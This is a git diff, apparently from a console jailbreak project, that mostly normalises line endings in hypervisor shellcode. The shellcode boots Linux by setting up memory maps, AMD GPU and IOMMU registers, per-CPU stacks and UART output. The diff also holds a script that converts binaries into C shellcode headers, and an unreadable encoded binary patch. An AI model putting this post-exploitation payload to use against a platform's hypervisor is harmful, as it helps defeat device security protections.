zmY90&BRy3c|B3e|$$P%=ae&reNi}NDSH3gg-B;e#ke#SJSm85U<3jLF&+|#&__>&A z@*S=KrWrr@B>?#+PdCAmpGY_;nSSX<|LE7hlpy`l1IPM5{0t0Q{^hCAU;39;km4vD zLHkk|j;=nO@E=6G@`5jkju(VMfO0`_vt|}Um;U)ZvufVM#MV`vj@Es0F1X&lx2~g@ z+FTUogKLi{6ku+oB+#8*nvwnlf*z^AXRb6yL;6k?U4} ze8AK$PJ$mslbr;LKl_~oiY%&m3*iUAsHHFmkknFWVaNvm&G>ZwnJ?4Mw1gJW&9@fb zV$S>4!Z$kM|JvbX(Ou*!tN}U9O`tb_>Hv4a6R_G{Aj_`eAtVA)JcRK8xr2aMsJ-tX z#1LzAN5LB8f{sEXT5(<{ede1^!g2KO^by*M=zZE1T4d_UZURz(x~Myywfd~PP#-*% z{RG{$U-S?}TGE?dup|t7^bzRp__>cT8W83$Tm!W1E1-^1qx%YU2X*ZyplDQo^dmuP z&He%|KWg{>y0JDNfc2pk86cbkObmdz!AApN;7n~1DD(ux20|xHJrpQR#B-Yugvpt+ zWpxLbbse=Pd9+`RDNdt?SRU_!l53D~5sWtm>1O8?Om?mA3)Z!NCs;6{<-QCN8Zx%e zWmo0PKVD0b7S32usNjH+E}>-j+PBbu4(d5XKzdhegb5VyeZz3#Oe+o(mXef^2!V1) zVuaAuk|mt*`ti-E`QEYb5`*ScTwd|(Mo|LOo<#_|p(l0iaB>Z;ZzN8=DjPW3=4eLz z#_6}OF)d&O!UH%gMhRB{PeuvT448kxl$VD;;=RLY-Tt(OV+2RM@el5Cskc&6$;)@hos5>)9l;XYvRbm0YH z;|w7j^SPNqAI#VMV}$CwB?}KaA;0-A?ZXgx`l;=8L+)P;U!b7Gnl049l(g9bqOevt zTUbX^`o;Q z$oi{3hTl1Wn0orO zK)*k#f6odh0LRbi@vY5y!3EUV^AyR{g!9Nq2rB3GhxNH2OeZ-PF4DHO9~XsKB4-rg z*qK`Avd|6?cv-k;#=0!|THm~M!<*S%JKCFvjS8`4TB~AMBN)oA(79+0t_r<~oODfa zHDfNH94_@(^~JoMfjY(G;S8-a%Is@G6d1IIB|;k3shutrtSEloy)AU7?mN%}F#4|G zOmfo7^}yWdo^Y))b3g6dCM)ZN2V(qv{V)#P7ouf0k84%Nv?dQ=5two6q0kKij4J-Q z=HN%VKsEERp3BP~3oS5O`H7&H=(nB?+yDtQlW=?!1Y=A(M*Frj}efL|TKR|gWj70DFcY5U1 z;@%5m!K}UeAWWvs4*RMn3$Je!&b4s_=uP`B*Z}r_7wiCc|50DQLthA7KmO@s*-v2# zNa+`%g&~VLv^FKHa{$wt{zf+@rT-DuD=dfo*yN0tO@DPaPZ=d52c%?+@FHykC;HL~ zo=76a8BrE{32X$@`pIH_TH#bhETLoRURl&jnrl_W6!1k>6;A=0FmWjc3ze{jaHLW6qS$qlZjrI@G3nn|Dby>RY~bmNBuKI2eqH)x@*J*vDK<1H3gC zDJ_Lti1g#LmS-h4pwa8q#o+)KYjG4{i?w*liY=QRwJdyG!t<2aSZBXwQCi>U&!ncP z?QL+21Cv=zkqY9wHN`e0p;~RM9v6_>qW(I*ysmhgy0!Wu-EtS(i4;|PHV`)ntO(0! zAm)L4gT2@YT-xb|Vg_MUW3h}Po2R2V7UWJx@eZvr(Mg<6D6|x75Y}$}PZ_P-h-Ea5 zwG$mU3uczQEzB{$d19F7q0F3dSqt92E@o;s7x4)sHg^?OaGr4$vq?gb0$JE(DH(?hp$MfMc8;>J12^6=7tj<3CfS1n>% zJ8$s=ZO_4n&Q$B_BT})XWp)%;Pmqo!!SeL(NnwznA1x<3~1k5oPoi8y~SfBc8b6Fi^NUn2eC}M-%o5rbCdwl z4d4|ZqJq*20`xVg#shJr2oeLKQi-{ZeaF<>K_V3g`v!@-Ffu$?bfiTlhl*85Oxh69 z7v$3+_?!vk<#63&&^tK)+_J?3CalEKUr4JKCL*ASnPl)=`esJpB zwo9%~j+&9Aq&3IyXp=>9R=3Hb7cF$wRIxh9l&MgT9ov%TncV#AEB0|`f3F$$;~tqT zbIx6T@BOKUvxZAao{hgcRmFvFy7&?^Y-fo1w3kaWb%iN0x;h@kh@DJW@*(@MGk;(A zu>Owa%@X_Kz1-cm`%Qa~X?DX6>2J1(*F37v95Ehnc8+))kPs{0hvdjO(SRh6 zjTbEd^WsG+p|8Y?TL6>hifh1Ab)MLTtH;LM1(&TGSfk+Pg1oYO`;XKqQSMC>U7GKR zpBD1iy_-3YxHg|$Nc}NiY+=rBn=S|%;XKU7YI0skV|TBz;nz^SE)XeIr7RGONQ2=C z;&OWUhehN}>ZU{yK}WHxJE1m8M0Qq zPD^o06(a#^DtVjQY`wmrz3atf@c3>JpOaZQZ5H(!e|x%aO12pYgVQO z&dL<0gZz>yQq`dS$P(M(aaxOQSQEIHGX zr2^5B9^PV)xS!^{*emt|xa<>G*s{R#A=8({TfNHvG_I`0qeeFx@YCK083`+1_*Dn_Wouv-*J8vKGtjIC-1(j@zRKPRsbA#P>Y1es%4$GaodFDt!K+ zDN}nL5SL)$odf?o(D;zJ2;`bWqC#>u9@d?r=&)FuH1g`G=uO?tkBhN@oyQRx@pJQW z5ygl0=eTH1gH|VXyNo!gZ|}xQu_HPyPw5bFN_4Nx>Rj=-vBcl-I#bu566rQ$cN&Uf z*+Wm$^+_FiR@`gEjAu4c$|ekaCcdcHg1X}z@)X7noEKdIpU%^|)Or_?Z*Wb&ApQhA zz9@RtW^cwHm5hcB@3gXE{(S$;N1L7R?y|9Lf5>)HYnS;dejmI<`&ElCi3b6RMPer` z{c;hEy9ygJ#K33Oz=bi5;cLZ6U0}F@l{?~zI;?AH?KP|7_l7@Fh#e+x@}AihO+;zROJHSeL=98msHPmK8$;yX~AABmj>HlAtEA7K<7 zR!_tw7VP_pw+(*AWE~qhqG`L^@+qfV5`x;kCwfG7dHOGPhdvWOVTbNAH`1O;FrIMS+s{q-^8l`pYLKJdjEV!k_Or6r+&VpfBuUC&wq(jJGS^OuE3~v z@(+>`$M#l{^!J3lIjJ^!$8wS_8GE82jVG?3qNMu*FG~nfTCgmg;AA$n>cclMKm%zW z9+PDt(P>pSl;#4G45dC`yk{usZ{7x0kzm~F+A5M?Q?~fb?-@sLOdtE8>h8GJRs*)M zv=!pSC(GuT$vvE9gTv)tXQ*1~W$&z32+>AWC7iG}rmCdyHJIsD+t6k=FW-6hH>Ohe zwl1ZTr8#?l+o!EjT_9^?{JsUu&F)gDo) zlbU`cE_nIybrn?~y}|{^OrmR{w$egsf?#|L_eM*s9I?lW_Ms+PNn}HXRuUDMJF82B z@N;chmBkUmy-*k1NK}ldqivSEBnjx>q}x7L-q7_vKEANS;E~;z093)cg^u>l@@QY zZ;KbIM5%)FlwK+9 z%}61rH!`rNl#RZ%9i^s*%*Zai?uALSQEqgUoH74*N2xlAweXe%!s?x*S|q-WkA!ru z9rlqXQMYp!DU7;T`butqB44Q^dX2hDGiWrSo1}Zs?(Wh_8}=k^;Aw|r?n$3YJzSgq z$lJDc`VITkp5Cr7bU(=!v$y(5%K&YANR2UhNDpZg?cicB{Y<*_mYSk>VsFWb9+=Tb zx(;%Rzr;8z7X8;%c3%^7?ER65rAB@3@7-H{WI_sFCH9qEz}g{6MJ-2FwRaYXLh3>dR>#B(=n>u|Y64^ack@^#OB& zrATYmqiWl>w^#jY^Iv4Vb=R?v)0-_?lX7)?A=DR)MT2d6sPr2!WiX5qZ-xic&eY07 zq&fhHAyO;^=M0hPX9)GbFv%OxG+d&@G(22-P>XG=-MUHTs~ZlkKfikHvy?W4BPR~q z7qoR>o7X-S3d({AsV~jkJ5)l2t=1bRQ7YLqO!^E+87?7kYlXw5CZxs3QPSqx%xB=I z0bIMB@T7yoR;Ik_^lF_&_ivS@;&-==UQH`SeKA5B2i|HUN!6;yNa+zI)Ey;JI@VlA zOD#!#(PN}6LbLIbi43;-Q?Y*h3NsZ414EdqJNfac66KrP)1*MKPMs#5f@^4QF_JH) zX3w3i+xOf#k}sGp&XG{$Y0u_JRM~4E;v{q0l{{C92bnNeYR%iTGsRi$<@Y0B53HD% zG2J5J&F!3?7yQn%6_5ST9lCJx;fg^q2l~S&=2Hw%xdqa2OpRP1%_2#U7t%)5vk7zv zT8l*pqaY_FQaIIiCrbKtWx^7PDtz^9l9UD*wp7|(mH9rG&RjHaViq+AX=RxdWys!y zR9qi2bOuwGFOzCovNZ|mk5h}I*L1G>(RY7lAKRamI{D#c$}*TPe(r0!ob;)!UoI7p z=w2&z^IE-9dIoA%vc8<>$;bvEy;7tR;LS~e;y@azFj9nIRoVsksY>erDQl!u@Hnl- z(E|Ielk{J-7q8cMy?wnNwXd#6xW?Bi8>AJ0-f7Yeur}Bz>9?BHP0|?j8g7<~&|A7$ z>Pdp^G9>zLK=sd*>Vce;DbZIATGebxPl>y?(m82Awo098X`VS!usL(|NSQfw&>?m+ zO#Zdfs$!a)rs2`MOqPEi0=-A_wL!2I*HG#;AQMxXl^1ai;Q z39Fqi=n-Q01?d$A{V)Er5#RH>pWbml$CUga{J0+ z5Kebqk$OSMpDTJ)wZ1B$qR+l^Rrk3o*Yx7U;kvYvws@!nCM2-`Pzjgnhur?AWJ9Jf z;Fi>0V8ijt$}O6%cDpTg1%L8w)G*apuU@?aO+&r~e;-%oVH4KC5>f1qWKSEpQZ99) z`8E$w-QY#b1B7047P&J~Tx%KKEidJC@A4MkJrnSbV@HLaNm@O^RxzR9V~U1q$zwfi zeS0ijr1hPADwz_NJd=D#tn~|hHCJAcRjZjVrC)%}ucX`HnfY4UNxTkkQ7oW4qNy*oJaQKGAJ z%TIdLu>3470=4loMI*KD7s(9J>I;e&eDw7N-UR&pRnnEqe@DK9+ke+r$NhlY!vow{r5gs*@8^Cf+Uu<7q@axRS8WwB)EFu@+I$|#Osm>lg zdN{o2xub#gKGd83?)1Grf8!r19dV997V<|tpogW5Vo{x8DWk~Kwpq$2>9M1$%Xy6L z{BE(=F?g_@NB@2ZMb}|1`&4%KD?BpXBtfGrqE5mS~`u^ijtX%$T z+_;C8eDL11flRffcFA6LCj8w{)<5@a>L5GQzC)VI`tgN3$^m#rp`&~NFtM538H0t* zc58I+dF?5=AzNc@ zTLksQ6(59_S*Y_oD<(hzPZROjxtR&33mig=% z#o6(vkGXqYb=&;wckHPvXMgR&O}Cw#1ir>DGSzkYE;8lLA{V(j7O6gIFE;`(cbqcb z#k=sryMv6VtS;#wlLsYu%IN@yjyN?;=qOLF&ba+i30&e*d#iu7>c$=L8)avGR~I|WHsE{GStjpV(?w1rEww@FCrGmwE?3R$nOEc3*~8ml7;eNLzWhIAu0PhF1BkDWH0pIPS6kEd6Aq2>gFQZ z%a--_SAWMZ+?%>i+NccJ-sD!Chx>x(t-UsSqf|_k_0WA}F@*wETq09t^bzbrxms0pNT}Tly`xwnT$^a1cpB+gshgEA+}cU7q{=(D6NOX((mrY zU(e(7OI6mtfeKzL*N`A?TACj2TsF$X1a_He8#l^cB=}*voJxllvqfG*dpFOPsYdtA zmg4}&vvKZlysi4NpW71APgmGQ=Z__+@UCrgE~dNW$ofz8U32B5U@_PZjWW%9 zJE924!8_zyRav7ZK_Npg+Ahu7geq+Z3>e=h?2xkoOY?LsUdhuP+hV7#hh95%YmVOu zBLmOLUGiTmcGvXC&dk73pAstvp4|8B>#V^w^3vn*#aF&;OH3bj%Oe571#*Ofe~T`B zHVs$Q0zC!|-y>f(WIc=AMhk1wab?&m>+kzJYZPd;Gz}}j%m@4B`+%c`@@w>NKOoEW zk3ntsAz8mWoH;B{M}LPSvOg(n#WDFh$f3vOSMZstwbplY`MuEhY~vH*Irz@tBr+tn zcv21n_?{xgXv%3sNsuGX=o>dVOFY^-0-)V_SrV*Sr~fi`E&K3k%<_Rw{U&_uJNcUT z?XG9b@!O^6CHXGRu5nqO2~aP~w*cdc^U4q{?36;P4vkrCe;w`u6{PrFXO3DM73D-$@Oax%KT`+nvV(rZ^|! zHO?zNd#ml<$$h}T=$+iVGW#UApL1=?`ZloQcQXBaqIUhDhaB~TzSAlnWn5LX^#mAn z{4BQugngFJ02+RgJq=hp^Cxk$aHEg@B5Po^`})r@cYUMur(XJ|2ZE8`5v*XP-}OLh z{zK3D>bReB9rP~$DGvs`{V6+Jvw-q33%bX|mVIH5G6$Y48I$S1yNTQk7sxihWOqwe zXLVTXSJCFN)dGzxUD*)1s(;0+M)*V0FS#M zD)^_NLP2a|Wu-2ju&T0hg3f+`k@6ML!&rg3)O*It0g;V30kbqwLTEu>P4OQPyhN;~ zG_qtzdJpgQutA+I3-hhaiEvI0Wg~iP)dUZX)>7z;5-qK^!bD(hePtxk77dhC+TyN8N;5MyEuq9ac(3o= zYkgb2dhzP%hK?}EMhaa8RT~E-&6K6Ngce&iuVe81Pfnc+KMvw7925#rW11-E0d1Qq z%~2Tu_~fYc1Nb)6*B;wUDFo%xTnWc2Qkz5H=IrsfF4v#;oM>A5 zXyf!_UHzoqc6dGPq|nP;^}iNMDqvnqr5oUKOJzCcg|<@aVD;MUw#r%BjgO0Bgr5QS zhfH1WV!jn`w$)%)rH?7AQtEW0#!PpMvU#qt(IeX7dn;GvCB$UADVs6Px4lwCd$jOS zyZ`|nN|Fhiz&$B#tHxz+&0A6Cwg#coL-~xsXC0KSfMuQvs!^@PQ=wv6YvH9FCJAr7 zl_MZ`bkf(OPU@^=g0$|Ubmi-_{Y_fdOfJ2AXMfNT^QMi*PB$uT+3n?pJ+VP?pU+x0 z^Jt2W^Jrx5So!ZP_nGY!NSG*zni@&13 z9BAK9IR{egujsXfU4X9U-~eS1c(nj56Z;EP-pK4+|IIrQXa~ZS(AOqNX$vl-Cl6k4JkaU9GW_O+Ri_KfI&HR}m(p{^x%*k?W+4m@RvaOF!(hde9$Y>|87Q*P z3-Qt+OnHuuI^j?n6dX>Ts6|F7nWDsg-fMvG+M^VajMi+lLN7nnh0)3ukWI!Y<3MVu zW0fbg+SrM7ChF;liXXsqk}?mFGD)$Q*{!IV$aF_1DemC^HA%4{F_u$w#_%ahX*JfO zzsKFjJ{7)3_iUe^%q*S^tC*@RB=N=5lnG>k9cLf$wqL1-isY5bDf9*;D|!mdSWR2eyjAE8ObKh0xge{oRmNez+RRj?6JGvE zf1gG+S!5Hwid}t_eogK=k<6$we1GQ4a}oADD);>_1dUh1(\n\n") - - f.write(f"uint8_t {array_name}[] = {{\n ") - - for i, byte in enumerate(data_text): - f.write(f"0x{byte:02X}") - - if i < len(data_text) - 1: - f.write(", ") - - # New line every 12 bytes - if (i + 1) % 12 == 0: - f.write("\n ") - - f.write(f"\n}};\n\n") - f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n") - - f.write(f"#endif // SHELLCODE_HV_H\n") - - print(f"Done! Created {output_name} ({len(data_text)} bytes)") - -if __name__ == "__main__": - if len(sys.argv) < 2: - print("Usage: python bin_to_c_hypervisor.py ") - else: - create_shellcode_header(sys.argv[1]) \ No newline at end of file +import sys +import os + +def create_shellcode_header(input_file): + if not os.path.exists(input_file): + print(f"Error: {input_file} not found.") + return + + # Read binary data_text + with open(input_file, "rb") as f: + data_text = f.read() + + # Hardcoded output name + output_name = "shellcode_hypervisor.h" + array_name = "shellcode_hypervisor" + + with open(output_name, "w") as f: + f.write(f"// Generated from {input_file}\n") + f.write(f"#ifndef SHELLCODE_HV_H\n") + f.write(f"#define SHELLCODE_HV_H\n\n") + f.write(f"#include \n\n") + + f.write(f"uint8_t {array_name}[] = {{\n ") + + for i, byte in enumerate(data_text): + f.write(f"0x{byte:02X}") + + if i < len(data_text) - 1: + f.write(", ") + + # New line every 12 bytes + if (i + 1) % 12 == 0: + f.write("\n ") + + f.write(f"\n}};\n\n") + f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n") + + f.write(f"#endif // SHELLCODE_HV_H\n") + + print(f"Done! Created {output_name} ({len(data_text)} bytes)") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python bin_to_c_hypervisor.py ") + else: + create_shellcode_header(sys.argv[1]) diff --git a/shellcode_hypervisor/boot_linux.c b/shellcode_hypervisor/boot_linux.c index 6050400..d1f49f2 100644 --- a/shellcode_hypervisor/boot_linux.c +++ b/shellcode_hypervisor/boot_linux.c @@ -94,8 +94,7 @@ static void e820_memory_setup(struct boot_params *bp) { if (info.kit_type != KIT_DEVKIT) { append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM); append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED); - } - else { + } else { append_e820_table(bp, 0x470000000, 0x87f300000, E820_TYPE_RAM); append_e820_table(bp, 0x87f300000, 0x880000000, E820_TYPE_RESERVED); } @@ -133,7 +132,6 @@ void boot_linux(void) { memcpy((void *)kernel_pa, (void *)(info.bzimage + setup_size), kernel_size); - void (*startup_64)(uint64_t physaddr, struct boot_params *bp) = (void *)(kernel_pa + 0x200); startup_64(kernel_pa, bp); diff --git a/shellcode_hypervisor/boot_linux.h b/shellcode_hypervisor/boot_linux.h index a98a65b..1ec29f6 100644 --- a/shellcode_hypervisor/boot_linux.h +++ b/shellcode_hypervisor/boot_linux.h @@ -1,52 +1,48 @@ - -#define MSR_EFER 0xc0000080 -#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable - -// // Virtual Machine Control Register (VM_CR) -#define MSR_VM_CR 0xc0010114 -#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT - -// // MTRRs (Memory Type Range Registers) -#define MSR_MTRR4kBase 0x00000268 -#define MSR_MTRRVarBase 0x00000200 - -#define VRAM_BASE (0x470000000 - info.vram_size) - -#define FB_BASE 0xf400000000 - -#define ACPI_RSDP_ADDRESS 0x7fd8e014 - -#define AMDGPU_MMIO_BASE 0xe0600000 - -#define RCC_CONFIG_MEMSIZE 0x378c - -#define GCMC_VM_FB_OFFSET 0xa5ac -#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4 -#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8 -#define GCMC_VM_FB_LOCATION_BASE 0xa600 -#define GCMC_VM_FB_LOCATION_TOP 0xa604 - -#define MMMC_VM_FB_OFFSET 0x6a15c -#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184 -#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188 -#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0 -#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4 - -#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850 -#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854 -#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878 -#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c - -#define AMDIOMMU_MMIO_BASE 0xfdd80000 -#define AMDIOMMU_CTRL 0x18 - -#define MAXCPU 16 - -void entry(void); -void boot_linux(void); - -enum kit_type { - KIT_RETAIL, - KIT_TESTKIT, - KIT_DEVKIT -}; \ No newline at end of file + +#define MSR_EFER 0xc0000080 +#define EFER_SVM (1ULL << 12) // Bit 12: Secure Virtual Machine Enable + +// // Virtual Machine Control Register (VM_CR) +#define MSR_VM_CR 0xc0010114 +#define VM_CR_R_INIT (1ULL << 1) // Bit 1: Intercept INIT + +// // MTRRs (Memory Type Range Registers) +#define MSR_MTRR4kBase 0x00000268 +#define MSR_MTRRVarBase 0x00000200 + +#define VRAM_BASE (0x470000000 - info.vram_size) + +#define FB_BASE 0xf400000000 + +#define ACPI_RSDP_ADDRESS 0x7fd8e014 + +#define AMDGPU_MMIO_BASE 0xe0600000 + +#define RCC_CONFIG_MEMSIZE 0x378c + +#define GCMC_VM_FB_OFFSET 0xa5ac +#define GCMC_VM_LOCAL_HBM_ADDRESS_START 0xa5d4 +#define GCMC_VM_LOCAL_HBM_ADDRESS_END 0xa5d8 +#define GCMC_VM_FB_LOCATION_BASE 0xa600 +#define GCMC_VM_FB_LOCATION_TOP 0xa604 + +#define MMMC_VM_FB_OFFSET 0x6a15c +#define MMMC_VM_LOCAL_HBM_ADDRESS_START 0x6a184 +#define MMMC_VM_LOCAL_HBM_ADDRESS_END 0x6a188 +#define MMMC_VM_FB_LOCATION_BASE 0x6a1b0 +#define MMMC_VM_FB_LOCATION_TOP 0x6a1b4 + +#define MMHUBBUB_WHITELIST_BASE_ADDR_0 0x24850 +#define MMHUBBUB_WHITELIST_TOP_ADDR_0 0x24854 +#define DCHUBBUB_WHITELIST_BASE_ADDR_0 0x24878 +#define DCHUBBUB_WHITELIST_TOP_ADDR_0 0x2487c + +#define AMDIOMMU_MMIO_BASE 0xfdd80000 +#define AMDIOMMU_CTRL 0x18 + +#define MAXCPU 16 + +void entry(void); +void boot_linux(void); + +enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT }; diff --git a/shellcode_hypervisor/linker.ld b/shellcode_hypervisor/linker.ld index c24a121..611bd59 100644 --- a/shellcode_hypervisor/linker.ld +++ b/shellcode_hypervisor/linker.ld @@ -1,18 +1,18 @@ -/* linker.ld */ -ENTRY(main) - -SECTIONS -{ - . = 0x1000; /* 0x1000 to avoid warnings from linker */ - /* Place our custom header first */ - .shell_code : - { - *(.entry_point) - *(.text) - *(.text.*) - *(.data*) - *(.rodata*) - *(.bss) - *(.bss.*) - } -} \ No newline at end of file +/* linker.ld */ +ENTRY(main) + +SECTIONS +{ + . = 0x1000; /* 0x1000 to avoid warnings from linker */ + /* Place our custom header first */ + .shell_code : + { + *(.entry_point) + *(.text) + *(.text.*) + *(.data*) + *(.rodata*) + *(.bss) + *(.bss.*) + } +} diff --git a/shellcode_hypervisor/main.c b/shellcode_hypervisor/main.c index 7274ff2..5f7a8c9 100644 --- a/shellcode_hypervisor/main.c +++ b/shellcode_hypervisor/main.c @@ -1,33 +1,33 @@ -#include -#include "main.h" -#include "../include/config.h" -#include "boot_linux.h" -#include "utils.h" - -__attribute__((section(".entry_point"), naked)) uint32_t main(void) { - - // We enter this function after CR3 was updated to 1:1 mapping - // We need to point RSP/RBP to a good known valid address - uint32_t ebax, ebx, ecx, edx; - uint32_t cpu_id; - - __asm__ volatile("cpuid" - : "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx) - : "a"(1)); - - cpu_id = (ebx >> 24) & 0xFF; - - // We point to a location after the main linux boot code - // Each CPU should have a different location - uintptr_t new_rsp = - (uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size); - - // WARNING: This invalidates current local variables - __asm__ volatile("movq %0, %%rsp \n\t" - "movq %%rsp, %%rbp \n\t" - : - : "r"(new_rsp) - : "rbp", "memory"); - - entry(); -} \ No newline at end of file +#include "main.h" +#include "../include/config.h" +#include "boot_linux.h" +#include "utils.h" +#include + +__attribute__((section(".entry_point"), naked)) uint32_t main(void) { + + // We enter this function after CR3 was updated to 1:1 mapping + // We need to point RSP/RBP to a good known valid address + uint32_t ebax, ebx, ecx, edx; + uint32_t cpu_id; + + __asm__ volatile("cpuid" + : "=a"(ebax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(1)); + + cpu_id = (ebx >> 24) & 0xFF; + + // We point to a location after the main linux boot code + // Each CPU should have a different location + uintptr_t new_rsp = + (uintptr_t)hv_base_rsp + ((uint64_t)(cpu_id)*hv_stack_size); + + // WARNING: This invalidates current local variables + __asm__ volatile("movq %0, %%rsp \n\t" + "movq %%rsp, %%rbp \n\t" + : + : "r"(new_rsp) + : "rbp", "memory"); + + entry(); +} diff --git a/shellcode_hypervisor/main.h b/shellcode_hypervisor/main.h index 34e7b5b..bfedeaa 100644 --- a/shellcode_hypervisor/main.h +++ b/shellcode_hypervisor/main.h @@ -1,3 +1,3 @@ -#include "shellcode_hypervisor_args.h" -#include -#include +#include "shellcode_hypervisor_args.h" +#include +#include diff --git a/shellcode_hypervisor/shellcode_hypervisor_args.h b/shellcode_hypervisor/shellcode_hypervisor_args.h index a3a89e6..aac5ffa 100644 --- a/shellcode_hypervisor/shellcode_hypervisor_args.h +++ b/shellcode_hypervisor/shellcode_hypervisor_args.h @@ -1,9 +1,9 @@ -// This file is shared between kernel shellcode and hypervisor shellcode - -#include - -typedef struct { - uint64_t bzimage_pa; // Already relocated by Kernel shellcode - uint64_t initrd_pa; // Already relocated by Kernel shellcode - uint64_t linux_info_pa; // Already relocated by Kernel shellcode -} shellcode_hypervisor_args; \ No newline at end of file +// This file is shared between kernel shellcode and hypervisor shellcode + +#include + +typedef struct { + uint64_t bzimage_pa; // Already relocated by Kernel shellcode + uint64_t initrd_pa; // Already relocated by Kernel shellcode + uint64_t linux_info_pa; // Already relocated by Kernel shellcode +} shellcode_hypervisor_args; diff --git a/shellcode_hypervisor/utils.c b/shellcode_hypervisor/utils.c index 2d5c44c..89283f1 100644 --- a/shellcode_hypervisor/utils.c +++ b/shellcode_hypervisor/utils.c @@ -1,114 +1,114 @@ -#include "utils.h" -#include "shellcode_hypervisor_args.h" -#include - -extern shellcode_hypervisor_args args; - -__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { - volatile uint32_t *uart_tx = (volatile uint32_t *) 0xc1010104ULL; - volatile uint32_t *uart_busy = (volatile uint32_t *) 0xc101010cULL; - uint64_t timeout = 0xFFFFFFFF; - do { - timeout--; - if (timeout == 0) - break; - } while (((*uart_busy) & 0x20) == 0); - - if (timeout == 0) - return -1; - - *uart_tx = (uint32_t)tx_byte & 0xFF; - return 0; -} - -// Variable for val to hex -uint8_t hex_val[17]; - -__attribute__((noinline, optimize("O0"))) uint8_t * -u64_to_hex_custom(uint64_t val, uint8_t *dest) { - - const uint8_t hex_chars[] = "0123456789abcdef"; - dest[16] = '\0'; - - for (int i = 15; i >= 0; i--) { - dest[i] = hex_chars[val & 0xf]; - val >>= 4; - } - return dest; -} - -__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) { - uint32_t max = 255; - int ret = 0; - - for (int i = 0; i < 255; i++) { - if (msg[i] == '\0') { - break; - } - if (msg[i] == '\n') { - putc_uart('\r'); - } - ret = putc_uart(msg[i]); - } - - return ret; -} - -__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src, - uint64_t len) { - uint8_t *d = (uint8_t *)dest; - const uint8_t *s = (const uint8_t *)src; - for (uint64_t i = 0; i < len; i++) { - d[i] = s[i]; - } -} - -__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest, - const char *src) { - char *d = dest; - while ((*d++ = *src++)) { - } - return dest; -} - -__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c, - uint64_t n) { - unsigned char *p = (unsigned char *)s; - while (n--) { - *p++ = (unsigned char)c; - } - return s; -} - -void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); } - -void halt(void) { __asm__ __volatile__("hlt"); } - -uint64_t rdmsr(uint32_t msr) { - uint32_t low, high; - __asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); - return ((uint64_t)high << 32) | low; -} - -void wrmsr(uint32_t msr, uint64_t val) { - uint32_t low = val & 0xFFFFFFFF; - uint32_t high = val >> 32; - __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr)); -} - -// Map FreeBSD atomic_add_32 to GCC builtin -void atomic_add_32(volatile uint32_t *p, uint32_t v) { - __sync_fetch_and_add(p, v); -} - -// Map FreeBSD atomic_cmpset_32 to GCC builtin -int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) { - return __sync_bool_compare_and_swap(dst, exp, src); -} - -uint8_t get_cpu(void) { - uint32_t eax, ebx, ecx, edx; - __get_cpuid(1, &eax, &ebx, &ecx, &edx); - uint8_t cpu_id = (ebx >> 24) & 0xFF; - return cpu_id; -} \ No newline at end of file +#include "utils.h" +#include "shellcode_hypervisor_args.h" +#include + +extern shellcode_hypervisor_args args; + +__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { + volatile uint32_t *uart_tx = (volatile uint32_t *)0xc1010104ULL; + volatile uint32_t *uart_busy = (volatile uint32_t *)0xc101010cULL; + uint64_t timeout = 0xFFFFFFFF; + do { + timeout--; + if (timeout == 0) + break; + } while (((*uart_busy) & 0x20) == 0); + + if (timeout == 0) + return -1; + + *uart_tx = (uint32_t)tx_byte & 0xFF; + return 0; +} + +// Variable for val to hex +uint8_t hex_val[17]; + +__attribute__((noinline, optimize("O0"))) uint8_t * +u64_to_hex_custom(uint64_t val, uint8_t *dest) { + + const uint8_t hex_chars[] = "0123456789abcdef"; + dest[16] = '\0'; + + for (int i = 15; i >= 0; i--) { + dest[i] = hex_chars[val & 0xf]; + val >>= 4; + } + return dest; +} + +__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) { + uint32_t max = 255; + int ret = 0; + + for (int i = 0; i < 255; i++) { + if (msg[i] == '\0') { + break; + } + if (msg[i] == '\n') { + putc_uart('\r'); + } + ret = putc_uart(msg[i]); + } + + return ret; +} + +__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src, + uint64_t len) { + uint8_t *d = (uint8_t *)dest; + const uint8_t *s = (const uint8_t *)src; + for (uint64_t i = 0; i < len; i++) { + d[i] = s[i]; + } +} + +__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest, + const char *src) { + char *d = dest; + while ((*d++ = *src++)) { + } + return dest; +} + +__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c, + uint64_t n) { + unsigned char *p = (unsigned char *)s; + while (n--) { + *p++ = (unsigned char)c; + } + return s; +} + +void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); } + +void halt(void) { __asm__ __volatile__("hlt"); } + +uint64_t rdmsr(uint32_t msr) { + uint32_t low, high; + __asm__ __volatile__("rdmsr" : "=a"(low), 